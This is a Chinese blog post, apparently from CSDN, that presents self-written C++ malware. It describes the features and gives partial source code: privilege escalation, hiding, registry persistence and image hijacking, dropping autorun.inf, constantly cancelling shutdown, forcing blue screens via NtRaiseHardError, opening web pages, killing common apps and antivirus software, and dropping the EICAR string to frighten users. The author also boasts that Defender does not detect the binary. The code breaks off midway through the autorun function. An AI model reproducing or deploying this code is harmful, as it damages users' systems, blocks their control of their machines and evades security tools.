C++病毒

这篇博客介绍了如何使用C++编写一种恶意软件,该软件能够隐藏自身、提升权限、设置开机自启动、释放autorun.inf文件、防止关机、定时打开网页、触发蓝屏、关闭常见应用以及利用EICAR测试字符串欺骗防病毒软件。所有功能通过五个线程高效执行,代码已在Dev-C++ 5.11中编译通过,并提供了Github链接。

本人思路

  1. 打开后不显示窗口,立刻将自己(病毒.exe)设置为隐藏状态,并提升自己的权限,以搞更多破坏。

  1. 修改注册表,设置为开机自启动,再设置映像劫持。然后在提升过权限的情况下锁死自己,可以有一点防杀的功效。

  1. 在C盘D盘释放autorun.inf文件,一点击资源管理器中的C盘D盘图标立刻再运行病毒.exe(防止注册表修改不成功后无法开机自启,这时点击又可以运行,等于加了双保险,总会在用户不经意间启动)。

  1. 为防止用户突然关机,一直使用shutdown -a 命令来取消关机。

  1. 每隔一段时间打开一个网页。

  1. 在一段时间内调用ntdll.dll的NtRaiseHardError以造成蓝屏。

  1. 爆杀常用应用程序,如微软Office系列、Windows下主流浏览器(包括Microsoft Edge、Google Chrome和IE)、Windows自带实用应用程序(写字板、记事本、画图、任务管理器)和其他应用程序(微信、腾讯会议、360、极域课堂、Dev-C++和其他一些杀毒软件)。

  1. 释放欧洲计算机防病毒协会的反病毒测试代码X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*,并让Microsoft Defender(旧版为Windows Defender)进行快速扫描,会进行病毒报警,引起用户恐慌(本人已在VirusTotal测试过了,Microsoft Defender(旧版为Windows Defender)扫不出来我的病毒.exe,所以不用担心被暴露)

  1. 将3~8项的功能实现在5个线程里,效率高。

最后就是代码啦!C++代码见下

#include <iostream>
#include <windows.h>
#include <TlHelp32.h>
#include <direct.h>
using namespace std;
BOOL UpPrivilegeValue()//提个权限 
{
    HANDLE hToken=0;
    if(!OpenProcessToken(GetCurrentProcess(),TOKEN_ALL_ACCESS,&hToken))
    {
        return FALSE;
    }
    LUID luid;
    if(!LookupPrivilegeValue(0,SE_DEBUG_NAME,&luid))
    {
        CloseHandle(hToken);
        return FALSE;
    }
    TOKEN_PRIVILEGES Tok;
    Tok.PrivilegeCount=1;
    Tok.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;
    Tok.Privileges[0].Luid=luid;
    if(FALSE==AdjustTokenPrivileges(hToken,FALSE,&Tok,sizeof(Tok),0,0))
    {
        CloseHandle(hToken);
        return FALSE;
    }
    if(GetLastError()==ERROR_NOT_ALL_ASSIGNED)
    {
        CloseHandle(hToken);
        return FALSE;
    }
    CloseHandle(hToken);
    return TRUE;
}
DWORD WINAPI NOSHUT(LPVOID Param)
{
    while(1)
    {
        system("shutdown -a");//防止关机 
        Sleep(500);
    }
}
DWORD WINAPI WEB(LPVOID Param)
{
    while(1)
    {
        Sleep(30000);
        system("start luogu.com.cn");
        Sleep(30000);
        system("start cn.bing.com");
        Sleep(30000);
        system("start zzcjas.github.io");
        Sleep(30000);
        system("start github.com");
        Sleep(30000);
        system("start githubs.com");
        Sleep(30000);
        system("start luogu.org");//开网站吓唬用户 
    }
}
DWORD WINAPI BSOD(LPVOID Param)
{
    while(1)
    {
        Sleep(950000);
        HMODULE ntdll = LoadLibrary("ntdll.dll");
         FARPROC RtlAdjPriv=GetProcAddress(ntdll,"RtlAdjustPrivilege");
         FARPROC NtRaiseHardErr=GetProcAddress(ntdll,"NtRaiseHardError");
         unsigned char ErrKill;
         long unsigned int HDErr;
         ((void(*)(DWORD, DWORD, BOOLEAN, LPBYTE))RtlAdjPriv)(0x13,true,false,&ErrKill);
         ((void(*)(DWORD, DWORD, DWORD, DWORD, DWORD, LPDWORD))NtRaiseHardErr)(0xc0000233,0,0,0,6, &HDErr);
    }
}//吓唬用户的蓝屏 
DWORD WINAPI FILEop(LPVOID Param)
{
    char pathn[6145];
    ZeroMemory(&pathn,sizeof(pathn));
    _getcwd(pathn,6145);
    string p=pathn;
    string kkk="";
    if(p.find("C:\\")!=string::npos)
    {
        kkk="C:\\autorun.inf";
    }
    else if(p.find("D:\\")!=string::npos)
    {
        kkk="D:\\autorun.inf";
    }
    else
    {
        kkk="E:\\autorun.inf";
    }
    string autorun="[AutoRun]\nOpen=";
    a
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值